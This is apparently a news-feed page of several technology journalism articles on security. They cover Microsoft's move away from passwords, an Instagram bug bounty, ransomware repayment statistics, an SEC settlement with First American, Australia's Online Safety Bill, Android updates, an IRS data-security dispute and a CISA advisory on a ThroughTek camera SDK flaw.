Information Technology

Bret Arsenault, Microsoft’s chief information security officer (CISO), who’s been at Microsoft for 31 years, says he’s only ever been publicly cheered once at the company: that was when he killed off Microsoft’s internal policy of changing passwords every 71 days. “That’s the first time I’ve been applauded as a security person and executive,” Arsenault tells ZDNet. “We said we’re turning off password rotation within Microsoft, because we had eliminated that part of it.” 

As Microsoft’s CISO, Arsenault is responsible for protecting both Microsoft products and its internal networks used by its 160,000 employees. After adding vendors into the mix, he’s responsible for about 240,000 accounts globally. And getting rid of passwords and replacing them with better options like multi-factor authentication (MFA) is high on his to-do list.SEE: Network security policy (TechRepublic Premium)Microsoft updated its password policy in stages. In January 2019, it moved to one-year expiry, using telemetry to validate effectiveness. In January, 2020 it moved to unlimited expiry based on the results.  Microsoft also stopped recommending to customers to implement a 60-day password expiration policy in 2019 because people tend to make small alterations to existing passwords or forget new good ones. For Arsenault, rather than make the conversation about putting MFA everywhere, he framed the change as being about eliminating passwords.

“Because nobody likes passwords. You hate them, users hate them, IT departments hate them. The only people who like passwords are criminals – they love them,” he says. “I remember we had a motto to get MFA everywhere, in hindsight that was the right security goal but the wrong approach. Make this about the user outcome, so transition to “we want to eliminate passwords”. But the words you use matter. It turned out that simple language shift changed the culture and the view of what we were trying to accomplish. More importantly, it changed our design and what we built, like Windows Hello for business,” he says. “If I eliminate passwords and use any form of biometrics, it’s much faster and the experience is so much better.”On Windows 10 PCs, that biometric security experience is handled by Windows Hello. On iOS and Android, access to Office apps is done through Microsoft Authenticator, which provides a smooth experience when logging into Microsoft Office apps. It taps into biometrics available on iPhones and Android phones.   “Today, 99.9% of our users don’t enter passwords in their environment. That said – progress over perfection – there are still legacy apps that will still prompt [for a password],” he says.However, that’s not the end of the battle. Just 18% of Microsoft’s customers have enabled MFA. This figure seems absurdly low given that enabling MFA is free for Microsoft customers, yet as ransomware shows, there can be mult-imillion dollar consequences when just one key internal account is compromised. Protecting accounts with MFA won’t stop attackers completely, but it does make their lives harder by shielding an organization from the inherent weaknesses in usernames and passwords to protect accounts, which can be phished or compromised through password-spraying attacks. The latter technique, which relies on password re-use, was one way the SolarWinds attackers breached targets besides breaking into the firm’s software build systems to spread a tainted software update.    Microsoft is moving towards a hybrid mode of work and, to support that shift, it’s making a push towards a Zero Trust network design, which assumes the network has been breached, that the network extends beyond the corporate firewall, and caters to BYOD devices that could be used at home for work or at work for personal communications. But how do we get more organizations to enable MFA in critical enterprise products from Microsoft, Google, Oracle, SAP and other crucial software vendors? For organizations looking to enable MFA, Arsenault recommends targeting high-risk accounts first and to work on progress rather than perfection. The biggest problem is legacy applications, but seeking perfection risks getting bogged down. “Everyone has brownfield apps that can’t support modern authentication, such as biometrics, and so I think what a lot of people should and need to do is take a risk-based approach: first get MFA enforced for high-risk/value groups like admins, HR, legal group and so on, and then move to all users. It can be a multi-year journey, depending how quickly you want to do something,” he says.Then there’s the difficult question about SolarWinds and how Microsoft, which has a $10 billion cybersecurity business, got caught out by Russian government hackers. Microsoft in February claimed it was only minimally harmed by the incident, but it was nonetheless breached. Microsoft president Brad Smith called the hack a “moment of reckoning” because customers, including Microsoft itself, can no longer trust the software they get from trusted vendors. “Certainly, we used SolarWinds Software in our environment and we identified and remediated the impacted versions and we’ve been public about that there was access. We continue to modify how we do supply chain programs and how we evaluate what’s in supply chain and how quickly we can go do those things,” says Arsenault. SEE: Cloud computing: Microsoft sets out new data storage options for European customers According to Arsenault, Microsoft had seen the supply chain threat coming for a long time. “You see a lot of people doing stuff to protect their front doors, but then their backdoors are wide open,” he says.  “The part we’ve seen coming along is that the supply chain is the weak point, right. You have limited visibility into your suppliers. I think [US president Joe Biden’s] executive order will help in this space. But getting to the view of how we think about suppliers, we need a way to get that visibility in a scalable way.”I want to take the Zero Trust concept for information workers and apply that to the software supply chain, which is no line of code that was ever written wasn’t from an attested identity, from a healthy device,” he says.   More

Facebook has awarded $30,000 to a researcher for reporting vulnerabilities in Instagram’s privacy features. 

According to a Medium blog post penned by bug bounty hunter Mayur Fartade on Tuesday, a set of vulnerable endpoints in the Instagram app could have allowed attackers to view private media on the platform without following a target account. This included private and archived posts, stories, and reels. If an attacker obtains a target user’s Media ID, via brute-force or through other means, they could then send a POST request to Instagram’s GraphQL endpoint, which exposed display URLs and image URLs, alongside records including like and save counts.   A further vulnerable endpoint was also found that exposed the same information.  In both cases, an attacker could extract sensitive data concerning a private account without being accepted as a follower, a feature of Instagram designed to protect the privacy of users. In addition, the endpoints could be used to extract the addresses of Facebook pages linked to Instagram accounts.  Fartade reported his findings for the first endpoint through the Facebook Bug bounty program on April 16. Facebook’s security team then responded on April 19 with a request for further information including steps for reproduction. 

By April 22, the bug bounty hunter’s report had been triaged, and a day later, Fartade found and informed Facebook of the second leaky endpoint. Facebook patched up the vulnerable endpoints on April 29, however, Fartade says that a further fix was required to fully resolve the security issue.  A financial reward worth $30,000 was awarded by June 15, the bug bounty hunter’s first through Facebook’s program. The social media giant thanked the researcher for his report.ZDNet has reached out to Facebook and we will update when we hear back.  Previous and related coverage Have a tip? Get in touch securely via WhatsApp | Signal at +447713 025 499, or over at Keybase: charlie0 More

The majority of businesses that choose to pay to regain access to their encrypted systems experience a subsequent ransomware attack. And almost half of those that pay up say some or all their data retrieved were corrupted.Some 80% of organisations that paid ransom demands experienced a second attack, of which 46% believed the subsequent ransomware to be caused by the same hackers. Amongst those that paid to regain access to their systems, 46% said at least some of their data was corrupted, according to a Cybereason survey released Wednesday. Conducted by Censuswide, the study polled 1,263 security professionals in seven markets worldwide, including 100 in Singapore, as well as respondents in Germany, France, the US, and UK. Globally, 51% retrieved their encrypted systems without any data loss, while 3% said they did not regain access to any encrypted data. The report revealed that one particular organisation reportedly paid up a ransomware amount in the millions of dollars, only to be targeted for a second attack by the same attackers within a fortnight. 

In Singapore, 90% experienced a second ransomware attack after paying up for the first ransom, with 28% regaining access to data that were corrupted. Some 73% admitted they lost revenue as a result of the attack, compared to the global average of 66%, while 40% saw their brand or reputation adversely affected, compared to 53% globally.Some 37% of Singapore organisations that paid a ransomware forked out $140,000 to $1.4 million, and 5% paid ransom amounts of at least $1.4 million. Another 13% acknowledged having to lay off employees due to financial losses following an attack, while 20% were forced to close down. Cybereason’s Asia-Pacific vice president Leslie Wong said: “Singapore businesses must understand that paying a ransom demand does not guarantee a successful recovery, does not prevent the attackers from hitting the victim organisation again, and in the end only exacerbates the problem by encouraging more attacks. Getting in front of the threat by adopting a prevention-first strategy for early detection will allow organisations to stop disruptive ransomware before they can hurt the business.”Globally, the survey found that 81% of respondents were highly concerned about risks posed by such attacks, with 73% saying they had policies or plans in place to specifically manage ransomware attacks. 

Ransomware attacks were projected to cost $265 billion worldwide by 2031, with one attack impacting businesses and consumers every few seconds, according to Cybersecurity Ventures. This year, such attacks were estimated to cost $20 billion, up 57-fold from 2015. Check Point Research also revealed Wednesday that the average number of ransomware attacks worldwide climbed 20% in the last two months, 41% over the last six months, and 93% in the past year. In Singapore, such attacks grew 40% over the last couple of months, 99% in the last half a year, and 147% over the past year, said the security vendor. It added that Latin America and Europe clocked the highest spikes in ransomware attacks since the start of 2021, at 62% and 59%, respectively. A Veritas survey last November revealed that 78% of businesses in Singapore and 88% in Australia had paid up ransoms in full or in part, after falling to victim to such attacks. In addition, 45% in Singapore took between five and 10 days to recover fully from a ransomware attack, compared to 11% in India and 35% in China.Cybersecurity vendors typically advise organisations against paying up after experiencing ransomware attacks, advocating instead that businesses adopt a data protection and recovery strategy. Cybereason, though, noted that data backup plans would not work as effectively when cybercriminals launched “double extortion” malware attacks, in which hackers went beyond encrypting data to exfiltrate sensitive data and intellectual property. They then would threaten to expose or peddle the stolen data if their ransom demands were not met. RELATED COVERAGE More

The Securities and Exchange Commission (SEC) has agreed to a settlement with First American over the leak of millions of financial records and subsequent disclosure. 

Announced on Tuesday, the settlement will see the case closed in return for a $487,616 penalty and adherence to a cease-and-desist order. The SEC’s complaints relate to the disclosure of roughly 885 million financial records associated with mortgage deals as far back as 2003 and until 2019.  Cybersecurity expert Brian Krebs reported the issue to the US real estate giant on May 24, 2019, noting that the leak contained bank account numbers, mortgage records, tax data, Social Security numbers, and driver’s license scans, among other information.  The leak was contained to First American’s website and was secured once the company was alerted. First American blamed the extensive security breach on a “design defect,” issued a press statement on May 24, and informed the commission of the exposure on May 28.   However, the SEC says that First American’s actions were not enough to adhere to disclosure rules, as “senior executives responsible for public statements” were not informed of the “magnitude” of the breach.  “In particular, the order finds that First American’s senior executives were not informed that the company’s information security personnel had identified the vulnerability several months earlier, but had failed to remediate it in accordance with the company’s policies,” the agency says. 

As a result, SEC alleged that the company failed to disclose all pertinent and relevant information concerning the breach to regulators, and charged First American with breaking disclosure controls and procedures under Rule 13a-15(a) of the Exchange Act (.PDF).  First American has neither confirmed nor denied the SEC’s charges.  ZDNet has reached out to First American and we will update when we hear back.  Previous and related coverage Have a tip? Get in touch securely via WhatsApp | Signal at +447713 025 499, or over at Keybase: charlie0 More

Australian Greens co-deputy leader Senator Nick McKim has told the Senate his party wants the pending Online Safety Act withdrawn, asking for it to be re-drafted to take into account a number of concerns that were raised but not addressed during the Bill’s short consultation and scrutiny period.Among other things, the Online Safety Bill 2021 extends the eSafety Commissioner’s cyber takedown function to adults, giving the power to issue takedown notices directly to the services hosting the content and end users responsible for the abusive content. The Online Safety (Transitional Provisions and Consequential Amendments) Bill 2021, meanwhile, repeals the Enhancing Online Safety Act 2015 upon commencement of the new Online Safety Act.McKim, like many others, said the government has been “ramming these Bills through this Parliament without adequate consideration and without adequate scrutiny”.The Bill was introduced to Parliament on February 24, eight business days after consultation on the draft legislation closed and before the 400-something submissions to the consultation were published. It was handed to a Senate committee on February 25 and after holding one public hearing, the committee scrutinising its contents handed down its report.The government, McKim added, then sought to have the Bills “quickly and quietly waved through” and moved to exempt the Bills from the usual requirements that regulate how quickly Bills can be brought on for debate in the Senate.”And as an example of the indecent haste with which the government has operated, these Bills were so rushed that the government is needing to use amendments to fix typos in the original Bill,” he said, addressing the Senate on Wednesday.

“So these Bills which are intended to protect people from cyber bullies, from cyber abuse, from the non-consensual sharing of intimate images, and from violent and extremist materials — commendable objectives — are being rushed through this place.”The typo McKim referred to was the incorrect spelling of “bullying”.In the original Bill, there was no complaints mechanism; that has since been rectified somewhat, with the directive given to the eSafety Commissioner to stand one up.”In a way, the Parliament is being asked to sign a blank cheque in regards to the creation of that process. Because we have no possibility, as we stand here and debate this Bill today, to know what kind of process the eSafety Commissioner will establish,” he said.He also said that just because the incumbent commissioner might be trusted to not misuse her forthcoming sweeping powers, her successor may not behave the same.”It should be incumbent on Parliament to make sure that we legislate not just with one particular person in one particular position in mind, but with a clear-eyed focus on the need to make sure that protections will exist past the incumbency of any one person in any one particular position,” he said.It isn’t just the rushed nature of the Bills the Greens have taken issue with, as they’ve also raised concerns about the bias that may arise from algorithms that have been conjured up to tackle the requirements of the Bill too.”The Bills will also inevitably lead to online platforms resorting to automated processes based on algorithms and artificial intelligence to identify and remove content that could attract penalties,” he said.”The use of AI and algorithms in in similar circumstances in places like the US has been extremely controversial, to say the least, and we are concerned that the use of those technologies could lead to disproportionate outcomes like blanket bans, even if that is not the intent of the commissioner.”McKim said the use of algorithms and AI would also risk importing racial bias into the regulation of Australia’s online content ecosystem. “We know that that is a risk, because that is exactly what has happened in the US under similar controversial laws,” he said.Discrimination, he said, would also be faced by workers in the adult industry.”We are concerned about the unintended consequences that could be both harmful to sex workers and adult businesses and to the broader community,” he said. “Under the Bills, as argued by Scarlet Alliance, sex workers will become more vulnerable as they potentially lose access to income safety tools and strategies and to vital peer connections. We’re also concerned that the Bills failed to provide to promote the maximum safety and privacy protections that they could. “The Greens absolutely commend the stated objectives of these Bills to keep women children and the broader Australian community safe in online environments …. but we need to make sure that we don’t protect one set of rights by trampling over other rights.”He said Bills this significant and targeted at problems so complex should receive full and proper scrutiny.”And that is what the government, unfortunately, is seeking to deny.”MORE ON THE BILLProtecting women in the cloud: eSafety hopes the Online Safety Act will do just thatThe commissioner said a lot of online abuse is rooted in misogyny and intended to silence women’s voices. She hopes the new Online Safety Act will go some way to prevent such abuse.Australia’s eSafety and the uphill battle of regulating the ever-changing online realmThe eSafety Commissioner has defended the Online Safety Act, saying it’s about protecting the vulnerable and holding the social media platforms accountable for offering a safe product, much the same way as car manufacturers and food producers are in the offline world.eSafety prepares for Online Safety Act with AU$3m software pilot and 20 new staffThe eSafety Commissioner has only been able to action 72 of the 3,600 adult cyber abuse complaints it has received, and it’s hopeful the new Online Safety Act will allow it to do more. More

Image: Google
Google announced a half dozen updates to Android on Tuesday, including the further rollout of earthquake alerts and end-to-end encrypted messages. Earthquake alerts were first announced in August, and uses smartphone accelerometers to detect sudden earth movements. If the phone detects an earthquake, it will send a signal to Google’s earthquake detection server, along with a course location of where the tremor occurred. The server will then combine the information it has received from multiple Android phones to figure out if an earthquake is happening. Eventually, if an earthquake is detected, the system will automatically send warning alerts to Android devices so people can find cover or safer ground. The system is already live in New Zealand and Greece, with Turkey, the Philippines, Kazakhstan, Kyrgyz Republic, Tajikistan, Turkmenistan, and Uzbekistan coming on board. “We are prioritising launching Earthquake Alerts in countries with higher earthquake risks, and hope to launch in more and more countries over the coming year,” the company said. For users of the in-built Messages app on Android, there is now a chance of having those messages encrypted.

“End-to-end encryption is available in one-on-one conversations between Messages users with chat features enabled,” the company said. A lock symbol at the top of the chat appears to be the visual feedback that a conversation is encrypted. In November, Google said it planned to automatically upgrade the security of chats where possible, but it would involve both participants having RCS chat features enabled. RCS is not compatible with Apple’s iMessage protocol.The company said it had introduced the ability for users to star messages, contextual Emoji Kitchen suggestions, given the option for voice control to only work when the user is looking at the screen, as well as better voice password input. Related Coverage More

The IRS and Government Accountability Office are locked in a dispute over data security, according to a letter sent by the GAO to Charles Rettig, commissioner of the IRS.On Monday, the GAO said that since May 2019 it has suggested the IRS “develop a governance structure or steering committee to coordinate all aspects of IRS’s efforts to protect taxpayer information while at third-party providers.”Since then, the IRS has said it agrees with the recommendation but does not believe it has the “explicit authority to establish security requirements for the information systems of paid preparers and others who electronically file,” according to the GAO report. “We continue to believe that IRS could implement this recommendation without additional statutory authority,” the GAO letter said. “Without this structure, it is unclear how IRS will adapt to changing security threats in the future and ensure those threats are mitigated.”Jessica Lucas-Judy, a GAO director overseeing work on the IRS, explained in the letter that the IRS continues to hold this view and reiterated their stance in January. Lucas-Judy added that the only way the IRS feels it could establish data safeguarding policies and implement strategies enforcing compliance with those policies would be through a “centralized leadership structure” that would need statutory authority clearly communicating the authority of IRS to do so. According to the IRS, beefing up data security would be “inefficient, ineffective, and costly use of resources” without the authority of a leadership structure. 

But Lucas-Judy said the IRS has seven different offices across the agency working on information security-related activities that “could benefit from centralized oversight and coordination.” “These activities include updating existing standards, monitoring Authorized e-file Provider program compliance, and tracking security incident reports,” Lucas-Judy wrote. The GAO report came just days after Intuit was forced to notify TurboTax users of a breach following a series of account takeover attacks earlier this month, according to Bleeping Computer. Attackers gained full access to the tax returns of an unknown number of people and Intuit was forced to disable the compromised accounts. “By accessing your account, the unauthorized party may have obtained information contained in a prior year’s tax return or your current tax return in progress, such as your name, Social Security number, address(es), date of birth, driver’s license number and financial information (e.g., salary and deductions), and information of other individuals contained in the tax return,” Intuit said in a breach notification letter obtained by TechRadar.The breach was discovered during a security review that was regularly scheduled. The company routinely notifies users whose accounts are accessed “by a third party using legitimate log-in credentials that Intuit believes were obtained from sources outside the company.” Intuit confirmed in this instance that it was not a “systemic data breach.”Yaniv Bar-Dayan, CEO of Vulcan Cyber, said the IRS needed to be more urgent about protecting itself against cyber threats considering the government is still dealing with the ramifications of the SolarWinds attack. “Unfortunately threat actors aren’t going to sit around and wait. The creation of a ‘governance structure’ from scratch isn’t necessary,” Bar-Dayan said. “The IRS should ride the coattails of cyber governance, risk and compliance frameworks that have already been successfully implemented by the largest public and private financial institutions in the world. Most importantly, take proactive steps now to protect IRS operations and taxpayer data and funds through risk remediation initiatives.” More

CISA has released a new ICS advisory about a vulnerability found in a widely-used ThroughTek tool that gives attackers access to audio and video feeds as well as other sensitive information.  On top of the potential for data and video leakage, the company admitted that the vulnerability allows attackers to not just spoof a device but hijack a device’s certificate. CISA gave the vulnerability a score of 9.1 out of 10 on the CVSS vulnerability severity scale. ThroughTek software components are used broadly by security camera and smart device vendors. Their tools are incorporated into millions of connected devices ranging from IP cameras to baby and pet monitoring cameras as well as robotic and battery devices. It is also an integral part of the supply chain for multiple original equipment manufacturers of consumer-grade security cameras and IoT devices. Security company Nozomi Networks Labs discovered the vulnerability in ThroughTek’s P2P SDK and sent a notice about it to ThroughTek. The notice prompted CISA to release its own statement saying the vulnerability was remotely exploitable and was not complex to attack. The P2P functionality allows users to look at audio and video streams through the internet. The vulnerability is present in versions 3.1.5 and prior, SDK versions with nossl tag, device firmware that does not use AuthKey for IOTC connection, device firmware using the AVAPI module without enabling DTLS mechanism, and device firmware using P2PTunnel or RDT module.”ThroughTek P2P products do not sufficiently protect data transferred between the local device and ThroughTek servers. This can allow an attacker to access sensitive information, such as camera feeds,” CISA said in the release. In a statement, ThroughTek said they “discovered” that some of their customers were implementing the company’s SDK “incorrectly” or had “disregarded” their SDK version updates. They noted that the vulnerability was addressed in SDK version 3.3 and onwards in 2020 but was still a problem for anything up to and including version 3.1.5.

ThroughTek said any original equipment manufacturers running SDK 3.1.10 and above should enable Authkey and DTLS. If SDK is below 3.1.10, the library needs to be upgraded to 3.3.1.0 or 3.4.2.0 and the Authkey/DTLS needs to be enabled. CISA added that generally, users should minimize their risks by reducing network exposure for all control system devices and ensuring none are accessible from the internet. IT administrators should locate control system networks and remote devices behind firewalls, and isolate them from the business network, according to CISA. P2P component flaws have long been cited as one of the gravest risks to the use of IoT devices. In 2019, a vulnerability with iLnkP2P left more than two million IoT devices at risk of compromise.  More